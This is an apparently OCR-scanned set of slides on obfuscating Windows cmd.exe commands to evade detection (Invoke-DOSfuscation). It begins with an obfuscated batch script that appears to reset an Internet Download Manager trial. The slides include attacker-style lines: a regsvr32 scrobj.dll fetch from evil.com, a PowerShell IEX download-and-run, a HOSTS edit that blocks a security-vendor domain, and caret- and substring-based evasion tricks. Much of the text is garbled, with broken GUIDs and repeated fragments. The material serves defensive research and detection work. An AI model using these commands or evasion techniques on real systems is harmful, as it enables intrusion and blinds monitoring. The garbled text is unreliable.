veftjdii~47, 1%%aayhu8u8p8dveftjdi:~54, 1%%aayhuSu8p8dveftjdi:~44, 1%%aayhuSu8p8dveftjdi:~39, 1%\{%aayhuSu8p8dveftj4i
8uBpBdveftjdi:~9, 1%%aayhuBuBp8dveftjdii~1, 1%%saayhuBuBp8dveftjdi:~6, 1%%aayhuBuBpBdveftjdi:~4, 1%-%aayhuBuBp8dveftid

taskkill /F /IM IDMan.exe

taskkill /F fIM IDMGrHlp.exe

@echo HKEY_CURRENT_USER\Software\Classes\Wowb432Node\CLSID\{7B8BE9164-324D-4A2E-A46D-R165FB2RBREC} [7] =permdel.txt
@regini permdel.txt

@echo HKEY_CURRENT_USER\Software\Classes\CLSID\{7B8E9164-324D-4A2E-A46D-0165FB200REC} [7] >permdel.txt
@regini permdel.txt

@echo HKEY_LOCAL_MACHINE\Software\Classes\Wow6432Node\CLSID\{7B8E9164-324D-4A2E-A46D-@165FB20@RECY [7] =permdel.txt
@regini permdel.txt

@echo HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{7B8E9164-324D-4A2E-A46D-0165FB20@REC} [7] =permdel.txt
@regini permdel.txt

@del permdel.txt

reg delete HKCU\Software\Classes\Wow6432Node\CLSID\{7B8E9164-324D-4A2E-A46D-0165FB20@RECY /T

reg delete HKCU\Software\Classes\CLSID\{7BBE9164-324D-4A2E-A46D-8165FB2B0BEC} /T

reg delete HKLM\Software\Classes\Wow6432Node\CLSID\{7BBE9164-324D-4AZE-A46D-0165FB20@RQEC} /T

reg delete HKLM\Software\Classes\CLSID\{7BBE9164-324D-4A2E-A46D-@165FB200REC} /T

reg delete HKCU\Software\DownloadManager /v CheckUpdtvM /f

reg delete HKCU\Software\DownloadManager /v scansk /f

reg delete HKCU\Software\DownloadManager /v tvfrdt /f

reg delete HKCU\Software\DownloadManager /v ptrk_scdt /f

reg delete HKCU\Software\Classes\CLSID\{@7999AC3-B58B-40BF-384F-69EB1E554CAT} /T

reg delete HKCU\Software\Classes\CLSID\{6DDF@@DB-1234-46EC-8356-27E7B2051192} /T

reg delete HKCU\Software\Classes\CLSID\{D5B91409-A8CA-4973-9ARB-59F713D025671} /T

reg delete HKLM\Software\Classes\CLSID\{@7999AC3-B58B-40BF-384F-69EB1E554CAT} /T

reg delete HKLM\Software\Classes\CLSID\{6DDF@@DB-1234-46EC-8356-27E7B2051192} /T

reg delete HKLM\Software\Classes\CLSID\{D5B91409-A8CA-4973-9ARB-59F713D025671} /T

exit

uBuBp8dveftjdi:~4, 1%%saayhuBuBpBdveftjdi:~36, 1%%aayhuBuBp8dveftjdi:~2, 1%%aayhuBuBpBdveftjdi:~4@, 1%-%aayhuBuBp8dvef

P
aayhuBuBp8dvettjdi:~0, 1%%saayhuBuBp8dveftjdi:~1, 1%%aayhuBuBp8dveftjd4i:~6, 1%%aayhuBuB8p8dveTtjdi:~5, 1%%aayhuBuBp8dveftjdi:~41, 1%%aayhuBuBp8dveftj4i:~37, 1%%aayhuBuBp8dveftjdi:~2, 1%%aayhu8u8p8dvaftj41'~a 1%%
aayhuBuSp8dveftjdi:~8, 1%%aayhuBuSpBdveftjdi:~0, 1%%aayhuBuBpBdveftjdi:~48, 1%%aayhuBuSpBdveftjdi:~38,1%} [%aayhuBuBpBdveftjdi:~7,1%] =%aayhuBuBpBdveftjdi:~25,1%%aayhuSuBpBdveftjdi:~14, 1%%aayhuBuSp8dveftj4
i:~27,1%%aayhuBu8pBdveftjdi:~22, 1%%aayhuBuBp8dveftjdi:~13, 1%%aayhuBusp8dveftjdi:~14, 1%%aayhuBuBp8dverftj4i:~21, 1%.%aayhuBuBp8dverftj4i:~29, 1%%aayhuBuBp8dveTtj4i:~33, 1%%aayhuBuBp8dveftj4i:~29,1%

@%aayhuBuBp8dveTtjdi:~27, 1%%aayhuBuBp8dveftjdi:~14, 1%%aayhuBuBp8dveftjd4i:~16, 1%%aayhuBuBpBdveftjd4i:~18, 1%%aayhuBuBpBdvertjdi:~23, 1%%aayhuBu8pBdvertjdi:~18,1% %aayhuBuBpBdvertjd4i:~25, 1%%aayhuBu8pBdvertj4
i:~14, 1%%aayhuBuBpBdveftjdi:~27, 1%%aayhuBuBpBdveftjdi:~22, 1%%aayhuBu8p8dveftjdi:~13, 1%%aayhuBuBpBdverftjdi:~14, 1%%kaayhuBuBp8dveTtjdi:~21, 1%.%aayhuBuBp8dveTtjdi:~29, 1%%aayhuBuBpBdveftjd4i:~33, 1%%aayhuBuBps

dveftjd4i:~29,1%

TFIT=oU; rraay POUvVYT TSI vo, Tesadyr VT T [F L0 Ietady VOTT[F L o9 6%
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File Ratio First sub. Last sub. Times sub. Sources Size
I I I 761483906b45fad5113c7ab66b1534dee137e93a52816aa270bc97249acb56d0 0/ 59 2017-10-09 2017-10-09 2 1 36.5 KB
« Env var encoding in the wild |
ae8064c2fed2109d00f07c2a03afe965 17:59:02 17:59:02

« SHA-256: 761483906b45fad51f3c7ab66b1534deel37e93a52816aa270bc97249ach56d0 (see white paper!)

#:BatchEncryption Build 201610 By gwsbhqt@163.com”M
@sprogramfiles:~-1, 1%%commonprogramfiles:~27,1%%comspec:~-13, 1%%commonprogramfiles:~-6,1%'="">%commonprogramfiles:~-7, 1%u%commonprogramfiles:~13, 1%&@%commonprogramfiles:~-15, 1%%comspec:~

S et e n V Var Cal | e d 20, 1%h%commonprogramfiles:~18, 1%%commonprogramfiles:~-6,1%%05:~-6, 1%f f&@%scommonprogramfiles:~-14, 1%%comspec:~-1, 1%%comspec:~-13, 1%%commonprogramfiles:~-6,1%'="""%pathext:~18, 1%~ "4 ""K"*"~
~Yscomspec:~26, 1%~ "“%pathext:~13, 1% " \ukprogramfiles:~8, 1% """ A~ | AAAEAAARK0S 1 ~—8, 1%%05S i ~v—4, 1% AAGANAZAAAEAN_ %05 1405, 1%%commonprogramfiles :~25, 1%%05s t~4, 1%p " "1 A e %05 140, 1%, A (%
1 = comspec:~22,1% " "“%pathext:~28,1% "~ ?%programfiles:~6, 1%q~""; **~%programfiles:~10, 1%~ I%comspec:~14,1%f~~"*}**~scommonprogramfiles:~-5, 1%~~~ [%scomspec:~12, 1%%comspec:~-6, 15"~ @ "~ ]~ "1~~~}
(S | n g I e q u Ote) AnapAssgpathext i~17, 157 %pathext i~16, 1% gpathext:~7, Ly MA{AAAIAAA L AARE kARG comspec:~v—10, 1% %pathext :~2, 1%%comspec:~—2, 1%%comspec:~—7, 1% gprogramfiles:~3, 1%~ 8 A/~ gpathext i ~12
,1%~"~Q%commonprogramfiles:~4, 1%~ Z " -rrrgrnngpathext 1 ~47, 1% UARAN, A M M gpathext 1 ~26, 1%5h ™ ~%pathext :~35, 1% %05 : ~8, 1%~ ">~ "7 *"%pathext:~27, 1% "~ jb%programfiles:~13, 1%~ %com

- spec:~18, 1% x AEANAG A gpathext i ~46, 1%z 9&@%programfiles:~-1, 1%%comspec:~15, 1%%comspec:~14, 1%%scommonprogramfiles:~-6, 1%vG%pathext:~7, 1%=%comspec:~14, 1%u%pathext:~11, 1%%0s :~-2, 1%%pat
WI t h k n Own e n V hext:~31, 1%&@%0s : ~—4, 1%%scommonprogramfiles:~-15, 1%%comspec:~-13, 1%%programfiles:~-6, 1%%pathext:~7, 1%%pathext:~11, 1%=U%programfiles:~-10, 1%%0s :~-2, 1%%05 : ~-9, 1%%comspec:~-15, 1%&@%commonpro
gramfiles:~15, 1%%commonprogramfiles:~27,1%%comspec:~-13,1%%programfiles:~-3,1%%05:~-6, 1%%comspec:~-7, 1%%commonprogramfiles:~-21, 1%%commonprogramfiles:~-16,1%%programfiles:~—6, 1%%comspec:

. ~26, 1%%commonprogramfiles:~-7,1%%commonprogramfiles:~-21, 1%b%commonprogramfiles:~-3, 1%%comspec:~-12,1%%0s:~3, 1%%commonprogramfiles:~14,1%%programfiles:~13, 1%%commonprogramfiles:~8, 1%%com
Var S u b St r I n g S spec:i~-15, 1%%comspeci~-3,1%%05:~-7, 1%%commonprogramfiles:~14, 1%%comspec:~25, 1%p%programfiles:~-8, 1%%commonprogramfiles:~22, 1%%programfiles:~-1, 1%%0s:~1, 1%%commonprogramfiles:~-11, 1%%05:~
-8, 1%&%comspec:~-12, 1%%commonprogramfiles:~22, 1%%comspec:~-5, 1%%programfiles:~-3, 1%%comspec:~20, 1%%scommonprogramfiles:~21, 1%%programfiles:~-8, 1%%commonprogramfiles:~-16, 1%%commonprogramf

iles:~-19,1%%comspec:~-9, 1%>%commonprogramfiles:~22,1%u%sprogramfiles:~-3, 1%&&@%commonprogramfiles:~28, 1%%comspec:~15, 1%%comspec:~14, 1%%programfiles:~10@, 1%upbb%commonprogramfiles:~-12, 1%=

%programfiles:~8, 1%%pathext:~17, 1%z%pathext:~18, 1%&@%commonprogramfiles:~27, 1%%comspec:~-7, 1%h%scommonprogramfiles:~5, 1%.>%0 &&@%programfiles:~-1, 1%hu%scomspec:~14, 1%%comspec:~22,1%%common
programfilesi~-11,1%%0s:~5, 1%%commonprogramfiles:~-7, 1%%commonprogramfiles:~-6,1%/%0s:~-4,1%%programfiles:~-6,1%/f%sprogramfiles:~-6, 1%/%comspeci~14, 1%%commonprogramfiles:~10@, 1%0&&@%comsp
ec:~-3,1%%comspec:~-2, 1%%commonprogramfiles:~12, 1%%comspec:~-13, 1%&8@%programfiles:~15, 1%%commonprogramfiles:~14, 1%%comspec:~14, 1%%commonprogramfiles:~23, 1%%pathext:~8, 1%pYf=%commonprogr

amfiles:~-7, 1%kz&@%commonprogramfiles:~27, 1%%comspec:~-7,1%h%commonprogramfiles:~-11, 1%%commonprogramfiles:~10,1%""M
%' a1, 19%%" 1~24, 1%%" 1~~152, 19%5%" :1~60, 1%% ' :~~103, 1%%"' 1~92, 1%% "' :~28, 1%%"' :~143, 1%%' :~-T70, 1%%' :~137, 1%%" :~23, 1%%"' 1~13, 1%%"' :~146, 1%%"' :~~130, 1%%"' :~~89, 1%%"' :~~126, 1%%"' :~~90, 1%%' :~~103, 1%! ' 1% :~5
Assemble payload 7, 195" 1a=137, 1%k 128, 1%% 1~53, 1%’ 1~—103, 1%’ 1~—17, 1%k 100, 1% i~57, 1% 1v-114, 1%k 171, 195" 18, 19%%" 1~101, 1%%" :v131, 19%5%" 12125, 1%k 1ndd, 1%k 123, 1%%0 %' 130, 1% 171, 1%%' 1136, 1%% :~1
31,1%%" 1~13, 1%%"' :~68, 1%% ' :~~113, 1%% ' :~~125, 1%%" 1~33, 1%% ' :~23, 1%% ' :~-103, 1%%" :1~107, 1%% "' :~24,1%% " :~57, 1%% ' 1~-53, 1%%"' :~61, 1%% ' :~-103, 1%% ' :~~53, 1%%" :~60, 1%% ' :~-103, 1%%" :~-36, 1%% ' 1~-130, 1%%" :
. ~T71,1%%" 1~8, 1%%' 1~100, 1%% "' 1~34, 1%% ' 1~60, 1%% ' :~-83, 1%% ' 1~57, 1%% ' :~B, 1%% ' :~—14, 1%%"' 1~24, 1%% "' :~B, 1%% ' 1~57, 1%% ' :~—114, 1%%"' 1~71, 1%%" :~—-59, 1%%" 1~—14, 1%%"' 1~24, 1%%' 177, 1%% ' :~-130, 1%% ' :~71, 1%% " :
as SUbSt“ngS from ~=136, 1%%" :~8, 1%% ' 1 ~~108, 1%% ' :~57, 1%%" 1~-107, 1%% ' 1 ~154, 1%% :~~60, 1%%"' 1~28, 1%} 1~36, 1%% ' 1~-6, 1%%' 1~30, 1%%" 1~-89, 1%%' :~B, 1%% "' 1~23, 1%%" 1~47, 1%%" 1~—14, 1%%" 1~-125,1%%" :~-59, 1%} :~14, 1%% :~146
J19%% " 1~v=130, 1%5% "' i~71, 1%% ' 1~—136, 1%% ' :~B, 1%% ' :~60, 1%%" :~57, 1%% ' 1~B1, 1%% ' :~1471, 1%% "' :~—137, 1%% "' :~—147, 1%%' :~69, 1%%" :~—132, 1%% ' :~33, 1%%" :~40, 1%% ' 1~—75,1%%" :~7, 1%% " :~122,1%% ' :~—130, 1%%' :~71,1
1 %% 1~—136,1%% ' 1~-152, 1%% ' :~60, 1%%" :1~57, 1%% " 1~—147, 1%%"' :~-125, 1%%" :~28, 1%% ' :~61, 1%% ' :~-27, 1%% ' :~-130, 1%% "' :~71, 1%%"' :~24, 1%%' 1~~152, 1%%"' :~—100, 1%%"' :~-103,1%%" :~—68, 1%% ' :~-132, 1%%' :~143, 1%%"
neWIy_set enV Var 1~143,1%% " 1~143, 1%% " i~71, 1%% ' i~—17, 1%% ' 1~143, 1%% ' 1~—17, 1%% ' 1~-148, 1%% ' i~145, 1%% ' :~143, 1%% ' :~143, 1%% ' :~—17, 1%% ' :~51, 1%% " :~143, 1%%" :~143, 1%% "' :~—17, 1%%"' :~308, 1%% ' :~60, 1%% ' :~143, 1%% ' :~143, 1%%
Pin143,1%% " 1~-T72, 1%% ' 1~143, 1%% ' 1~143,1%% ' 1~—17, 1%% ' 1~105, 1%% ' 1~—137, 1%% ' 1~143, 1%% ' 1~143, 15%% ' :~143,1%% ' 1~-138, 1%% ' 1~—17,1%% ' :~143, 1%%"' :~143,1%% ' :~—4, 1%% ' :~143,1%% "' 1~143, 1%% ' :1~143,1%% "' :~92
1965 i~=17, 1%% ' 1 ~—17, 1%% ' :~143, 1%% ' :~124, 1%%" :~143, 15%% ' :~143, 1%%" :~143, 1%% ' :~114, 1%%"' i ~—60, 1%% ' 1~—17, 1%% " i~—17,1%% " :~—17, 1%%"' 12109, 1%%" :~—17, 1%3%" i~—17, 1%%" :~143, 1%%"' :~16, 1%%" :~143,1%% " i~

=17,1%%" :~143,1%% ' 1 ~-34, 1%% ' :~68, 1%% ' 1 ~143, 1%%" 1~=17,1%% ' 1 ~143, 1%% ' :~79, 1%% "' :1~143,1%% "' :1~=17,1%% "' :~=17, 1%%"' 1~154,1%% "' 1~=17, 1%%"' :1~=17,1%%" 1~=17,1%% ' 1~=38, 1%%"' :1~33, 1%% ' :~-17,1%%' :~=17,1%%"':
~=17,1%% "' :~—B85,1%% "' :~143,1%%"' :~143,1%% "' :~143, 1%% "' i~—42, 1%%"' :~=17,1%%" :~=17,1%% "' 1~-17,1%%"' 1~=19,1%% "' i~=17,1%% " i~-17,1%%" ' :~143,1%% "' :~=25,1%% "' i1~143,1%%" :~=17,1%% ' :~143, 1%% "' :~-122, 1%% "' :~-126
2 1%% " 1~=17,1%%" 1~143,1%% ' 1~143, 1%% ' :~=140, 1%% ' :~86, 1%% ' 1~143, 1%% ' :~143,1%%" 1~=17, 1%% ' 1 ~=105, 1%% ' :~143, 1%% ' : ~143,1%% ' :1~143, 1%% "' 1~=95,1%% ' :~=16, 1%% ' :~=17,1%%" 1~=17,1%%"' 1 ~143, 1%% "' :~7,1%% ' 1~
101, 1%%" :~143,1%% " :~143, 1%% "' 1~143,1%%" 1~=12, 1%% ' :1~-17,1%%"' i~143,1%% "' :~143,1%% "' i1~40,1%% "' 1~-17,1%% "' i~=17,1%% "' :~=17,1%% "' i~=17,1%%" ' :~143,1%% "' i~=17,1%%" ' i~=17,1%%"' :~32,1%% "' i~143,1%% "' :~143, 1%%"'
1~=17,1%% " 1~57, 1%% ' 1~=124,1%% " 1~143, 1%% ' :~=17,1%%' 1~=17,1%% "' :~128, 1%%"' :1~143,1%% " 1~-17,1%% ' 1~=17, 1%% " :~-21, 1%%" :~143, 1%% ' 1 ~143, 1%% ' :~-17,1%%"' :~10, 1%% "' :~112, 1%% ' :~=17, 1%% ' :~143, 1%%' :~143,1
%% "' 1~=101,1%%" 1~=17,1%% "' :~=17,1%%" ' i~143,1%% "' :~-30,1%%" ' :~=17,1%%" ' :~-17, 1%% "' 1~143,1%%" :~63, 1%% "' i ~-17, 1%%" ' 1~-17,1%%" i~=17,1%%"' :~-66, 1%%" ' i~-29,1%% "' 1~-99, 1%%"' :~-113, 1%%" i~=17,1%%" :~-17,1%%" i~
=17, 1%%" :~5,1%% " :~143,1%% "' :~143, 1%% ' :~143,1%%"' :~26, 1%%' :~-17,1%%" :~143,1%% ' :~143, 1%%' :~-114, 1%% ' :~143, 1%% " :~-17,1%%"' 1 ~143, 1%% ' :~-159, 1%% "' 1 ~=17, 1%% "' 1 ~=17, 1%%' :~143, 1%%" :~-57, 1%% "' : ~69, 1%%"'
in=147,1%%" 1~=17,1%% "' 1~=17, 1%%" i~=17,1%% "' 1~67,1%%" i~=17,1%% "' i~=17,1%%" ' i~143,1%%" 1~-49,1%% "' :~-152,1%%" i~=17,1%% "' i~143,1%%"' i~=17,1%% "' :~107,1%% "' i~-17,1%%" ' i~143,1%%" ' :~143, 1%% ' :~120, 1%%"' i ~-17
s 1%% " 1~143,1%%" 1~—17,1%% ' :~150, 1%%' :~143,1%% ' :~-17, 1%% "' 1~143, 1%% ' :~=77, 1%%" :~143, 1%% ' :~—17, 1%% "' 1~-17,1%%" :~49, 1%%" :~143, 1%% "' :~143, 1%% "' :~-17, 1%%"' :~81, 1%% ' :~53,1%% "' :~95, 1%%"' :~143,1%% "' :~143
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Whose Binary is it Anyway: Obfuscating Binary Names

Deep Dive: Character Insertion Obfuscation

Deep(er) Dive: Advanced Payload Obfuscation

Invoke-DOSfuscation Public Release & Live Demo

Detecting DOSfuscation




Deep(er) Dive: Advanced Payload Obfuscation

« %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

1 1

cmd.exe setup portion rest of the command

C:\>%COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0:445 LISTENING

©0.0.0.0:0
TCP 0.0.0:49664 ©0.0.0.0:0 LISTENING

Q.
Q.




Deep(er) Dive: Advanced Payload Obfuscation

* %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

* %COMSPECY% :: env var for "C:\Windows\system32\cmd.exe"

/b :: exits cmd.exe to calling program with specified process exit code
 /c :: remainder of command line processed as a command

 start :: execute remaining command without waiting for it to finish

/b :: (same as before but for second command)

 /min :: start window minimized

56



Deep(er) Dive: Advanced Payload Obfuscation

* %bCOMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

« Env var substring

 Env var substitution
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Deep(er) Dive: Advanced Payload Obfuscation

* %bCOMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

« Env var substring

 Env var substitution

C:\>echo %COMSPEC%
C:\Windows\system32\cmd.exe

\ J
Y

27 chars
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Deep(er) Dive: Advanced Payload Obfuscation

* %bCOMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

* %COMSPEC:~0%

* %COMSPEC:~0,27%
* %COMSPEC:~-27%

* %COMSPEC:~-27,27%

C:\>echo %COMSPEC%
C:\Windows\system32\cmd.exe

\ J
Y

27 chars

« Env var substring

 Env var substitution
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Deep(er) Dive: Advanced Payload Obfuscation

* %bCOMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

* %COMSPEC:~0%
* %COMSPEC:~0,27/% |+ %COMSPEC:~0,1337%

* %COMSPEC:~-27% * %COMSPEC:~-1337%

* %COMSPEC:~-27,27% |+ %COMSPEC:~-1337,1337%

« Env var substring

 Env var substitution

C:\>echo %COMSPEC%
C:\Windows\system32\cmd.exe

\ J
Y

27 chars

| /




Deep(er) Dive: Advanced Payload Obfuscation

* %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

« Env var substring

 Env var substitution

61

%COMSPEC:~0%
%COMSPEC:~0,27% |+ %COMSPEC:~0,1337%
%COMSPEC:~-27% * %COMSPEC:~-1337%
%COMSPEC:~-27,27% |+ %COMSPEC:~-1337,1337/%

%COMSPEC:\=/%
%COMSPEC:KeepMatt=Happy%
%COMSPEC:*System32\=%
%COMSPEC:*Tea=Coffee%




Deep(er) Dive: Advanced Payload Obfuscation

* %COMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

« Env var substring

* %COMSPEC:~0,27%

 Env var substitution

62

* %COMSPEC:\=/%

%COMSPEC:~0%
%COMSPEC:~0,27% |+ %COMSPEC:~0,1337%
%COMSPEC:~-27% * %COMSPEC:~-1337%
%COMSPEC:~-27,27% |+ %COMSPEC:~-1337,1337/%

%COMSPEC:\=/%
%COMSPEC:KeepMatt=Happy%
%COMSPEC:*System32\=%
%COMSPEC:*Tea=Coffee%




Deep(er) Dive: Advanced Payload Obfuscation

* %bCOMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

« Random Case
« Env var substring

e %bcoMSPec:~0,27%
 Env var substitution

 0ocoMSPec:\=/%
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Deep(er) Dive: Advanced Payload Obfuscation

* %bCOMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

« Random Case

« Env var substring * Whitespace

e %ocoMSPec:~ 0, 27%
 Env var substitution

e O%bcoOMSPec: \ = | %
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Deep(er) Dive: Advanced Payload Obfuscation

* %bCOMSPEC% /b /c start /b /min netstat -ano | findstr LISTENING

« Random Case
* Whitespace

e Env var substring . Explicit signing

e %ocoMSPec:~ -0, +27%
 Env var substitution

e O%ocoOMSPec: \ = | %
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Deep(er) Dive: Advanced Payload Obfuscation

* %ocoMSPec: \ = [ % /b/c start/b /min netstat -ano | findstr LISTENING

« Env var substring

e %ocoMSPec:~ -0, +27%
 Env var substitution

e O%bcoOMSPec: \ = | %

| /



Deep(er) Dive: Advanced Payload Obfuscation

* %ocoMSPec: \ = [ % /b/c start/b /min netstat -ano | findstr LISTENING

1

« Context is crucial
« « Cmd.exe
« « WScript.Shell
X Service
X Run key
X Scheduled task

| /



Deep(er) Dive: Advanced Payload Obfuscation

e O%bcoMSPec: \

68

Random case

/

% /B /c sTArt /b /mIN neTSTat -aNo | fiNDstr LISTENING



Deep(er) Dive: Advanced Payload Obfuscation

e O%bcoMSPec: \

69

Random case
Whitespace (-/+)

/

%/Bl/csTArt/b/mIN neTSTat -aNo|fINDstr LISTENING

|

NOTE: Single whitespace is added
to process arguments.

C:\Windows\system32\cmd.exe /B/csTArt/b/mIN neTSTat -aNo

/



Deep(er) Dive: Advanced Payload Obfuscation

e O%bcoMSPec: \

70

Random case
Whitespace (-/+)

/

%/B/csTArt/b/mIN neTSTat -aNo|fiNDstr LISTENING

I

Netstat's -ano arg reordering




Deep(er) Dive: Advanced Payload Obfuscation

e O%bcoMSPec: \

71

Random case
Whitespace (-/+)

/

%/B/csTArt/b/mIN neTSTat -Noal|fiNDstr LISTENING

I

Netstat's -ano arg reordering




Deep(er) Dive: Advanced Payload Obfuscation

e O%bcoMSPec: \

72

LISTENING

e Random case
* Whitespace (-/+)

/

% /B /c sTArt /b /mIN neTSTat -Noa | fiNDstr



Deep(er) Dive: Advanced Payload Obfuscation

e :0%coMSPec: \ =
LISTENING

73

Random case
Whitespace (-/+)
Comma & semicolon

/

%,;,/B,;,/C,;,STArt,;,/b ,;/mIN ;;neTSTat -Noa |,;,fiNDstr



Deep(er) Dive: Advanced Payload Obfuscation

° ,;,%COMSPeC:AAAA\AAAA:AAAA/AAAA%A ’;’/\/\/\/\//\/\/\/\B/\/\/\/\ . /\/\/\/\//\C . /\/\ST/\/\Art/\/\ . //\/\/\/\b

NNNN -//\/\/\/\mIN/\/\/\/\ -neT/\/\/\/\STat NNNN /\/\/\/\_N/\/\/\/\0a NNNN /\| . ﬁ/\/\/\N Dstr

LISTAMAENING

« Random case

* Whitespace (-/+) Let's look at process
« Comma & semicolon execution layers &
« Caret respective arguments!

| /



Deep(er) Dive: Advanced Payload Obfuscation

° ,;,%COMSPeC:AAAA\AAAA:AAAA/AAAA%A ,;,/\/\/\/\//\/\/\/\B/\/\/\/\ . /\/\/\/\//\C . /\/\ST/\/\Art/\/\ . //\/\/\/\b

NANNN -//\/\/\/\mIN/\/\/\/\ -neT/\/\/\/\STat NANNN /\/\/\/\_N/\/\/\/\0a NANNN /\| . fll\/\/\NDStr

LISTAENING

neTSTat -Noa

8

fINDstr  LISTENING STArt,;,/Ab 2 ,;/AmIN” ;neTASTat # ~-N"oa "

1t 1t

C:\Windows\system32\cmd.exe ,;,/AM/ABAA | ANc - ASTAArA,;,[Mb A [ IMMINAY neTMSTat M M-NMoa M
,;,fifNDstr  LISTAENING

| /




Deep(er) Dive: Advanced Payload Obfuscation

° ,;,%COMSPeC:AAAA\AAAA:AAAA/AAAA%A ,;,/\/\/\/\//\/\/\/\B/\/\/\/\ . /\/\/\/\//\C . /\/\ST/\/\Art/\/\ . //\/\/\/\b

NANNN -//\/\/\/\mIN/\/\/\/\ -neT/\/\/\/\STat NANNN /\/\/\/\_N/\/\/\/\0a NANNN /\| . fll\/\/\NDStr

LISTAMAENING

, » and ™ do NOT persist into final
netstat & findstr commands. Is there
another obfuscation character?

neTSTat -Noa

C:\Windows\system32\cmd.exe /S /D /c"
fiNDstr  LISTENING STAIt,;,/Ab A ;//AMINA ;neTASTat A A-Nfoa A*

C:\Windows\system32\cmd.exe ,;,/AM/ABAA | ANc - ASTAArA,;,[Mb A [ IMMINAY neTMSTat M M-NMoa M
,;,fifNDstr  LISTAENING

| /




Deep(er) Dive: Advanced Payload Obfuscation

° . ’ ,%CO M S PeC :/\/\/\/\\/\/\/\/\:/\/\/\/\//\/\/\/\%/\ ’ , ’/\/\/\/\//\/\/\/\ B/\/\/\/\ . /\/\/\/\//\C . /\/\ST/\/\Art/\/\ . //\/\/\/\b

NNNN -//\/\/\/\mIN/\/\/\/\ -neT/\/\/\/\ST""at NANNN /\/\/\/\_N/\/\/\/\O""a NNNN /\| . ﬁ/\/\/\ND""Str

LISTMM"EN™ING

YES! Double guotes are widely-
accepted obfuscation characters.
(,; and * are binary-specific)

neTST™at -No™a

C:\Windows\system32\cmd.exe /S /D /c"
fIND™str  LISTEN™ING sTArt,;,/*b * ;/*mIN” ;;neTAST™at * ~-N"*o™a ™"

C:\Windows\system32\cmd.exe ,;,"/"MBM,; M/c,; ASTAArA,;, [Mb M [ IMmMINM | neTMST™at M M-NMo™a
ML BIAND™str - LISTAEN™ING

| /




Deep(er) Dive: Advanced Payload Obfuscation

 |Invoke-DOSfuscation supports and randomizes all of these obfuscation components

« For obfuscating final cmdline arguments:

« User-input command (e.g. netstat -ano)
must be obfuscated manually (, ; » "" etc.)

* Invoke-DOSfuscation handles all layers
of escaping for input obfuscation characters

INSANELY complicated in certain

scenarios, especially since there is — -
no tokenizer for cmd.exe like there

Is for PowerShell.

| /




Deep(er) Dive: Advanced Payload Obfuscation

 |Invoke-DOSfuscation supports and randomizes all of these obfuscation components

« For obfuscating final cmdline arguments:

« User-input command (e.g. netstat -ano)
must be obfuscated manually (, ; » "" etc.)

* Invoke-DOSfuscation handles all layers
of escaping for input obfuscation characters

INSANELY complicated in certain

scenarios, especially since there is —
no tokenizer for cmd.exe like there

Is for PowerShell.

79




Deep(er) Dive: Advanced Payload Obfuscation

 What cmmd.exe commands do attackers use that do NOT create child processes?

| /



Deep(er) Dive: Advanced Payload Obfuscation

 What cmmd.exe commands do attackers use that do NOT create child processes?

81

File copy: cmd /c copy powershell.exe benign.exe

File deletion: cmd /c del benign.exe

File creation: cmd /c "echo LINE1 > bad.vbs&&echo LINE2 >> bad.vbs"

File read: cmd /c type HOSTS

File modification: cmd /c "echo 127.0.0.1 cloud.security-vendor.com >> HOSTS"
File listing: cmd /c dir "C:\Program Files\*"

Dir creation: cmd /c mkdir %PUBLIC%\Recon

Symbolic link creation: cmd /c mklink ClickMe C:\Users\Public\evil.exe

/



Deep(er) Dive: Advanced Payload Obfuscation

» Perhaps your target is monitoring for carets, commas, semicolons, etc.

 What additional obfuscation options does cmd.exe give us?

1
2
3.
4

82



Payload Obfuscation 1 of 4: Concatenation

 cmd /c netstat -ano
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Payload Obfuscation 1 of 4: Concatenation

 cmd /c netstat -ano

|

— and / interchangeability

84



Payload Obfuscation 1 of 4. Concatenation

 cmd /c netstat /ano

|

— and / interchangeability
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Payload Obfuscation 1 of 4: Concatenation

 cmd /c netstat /ano

86

|

— and / interchangeabillity

%

More examples:

wscript.exe /nologo ...
powershell.exe -nop -noni -enc ...
regsvr32.exe /s In [u [i:https://evil.com/a scrobj.dll




Payload Obfuscation 1 of 4: Concatenation

 cmd /c netstat /ano

87

|

— and / interchangeabillity

%

More examples:

wscript.exe -nologo ...
powershell.exe -nop -noni -enc ...
regsvr32.exe /s In [u [i:https://evil.com/a scrobj.dll




Payload Obfuscation 1 of 4: Concatenation

 cmd /c netstat /ano

88

|

— and / interchangeabillity

%

More examples:

wscript.exe -nologo ...
powershell.exe /nop /noni /enc ...
regsvr32.exe /s In [u [i:https://evil.com/a scrobj.dll




Payload Obfuscation 1 of 4: Concatenation

 cmd /c netstat /ano
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|

— and / interchangeabillity

%

More examples:

wscript.exe -nologo ...
powershell.exe /nop /noni /enc ...
regsvr32.exe -s -n -u -i:https://evil.com/a scrobj.dll




Payload Obfuscation 1 of 4: Concatenation

 cmd /c netstat /ano

90

|

— and / interchangeabillity

%

More examples:

wscript.exe -nologo ...
powershell.exe /nop /noni /enc ...
regsvr32.exe -s -n -u -i:https://evil.com/a scrobj.dll




Payload Obfuscation 1 of 4: Concatenation

 cmd /c netstat /ano
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|

— and / interchangeabillity

%

More examples:

wscript.exe -nologo ...
powershell.exe /nop /noni /enc ...
regsvr32.exe -s -n -u -i:https:\\evil.com\a scrobj.dll




Payload Obfuscation 1 of 4: Concatenation

 cmd /c netstat /ano

92

|

— and / interchangeability

 More examples:
e wscript.exe -nologo ...
» powershell.exe Inop /noni lenc ...
* regsvr32.exe -s -n -u -i:https:\\evil.com\a scrobj.dll

PS C:\> IEX (IWR http:Nﬂbit.ly/LBglt).Content
SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION

PS C:\> IEX (IWR http:/Mlbit.ly/L3glt).Content
SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION




Payload Obfuscation 1 of 4: Concatenation

 cmd /c "set com=netstat /ano&&echo %com%"
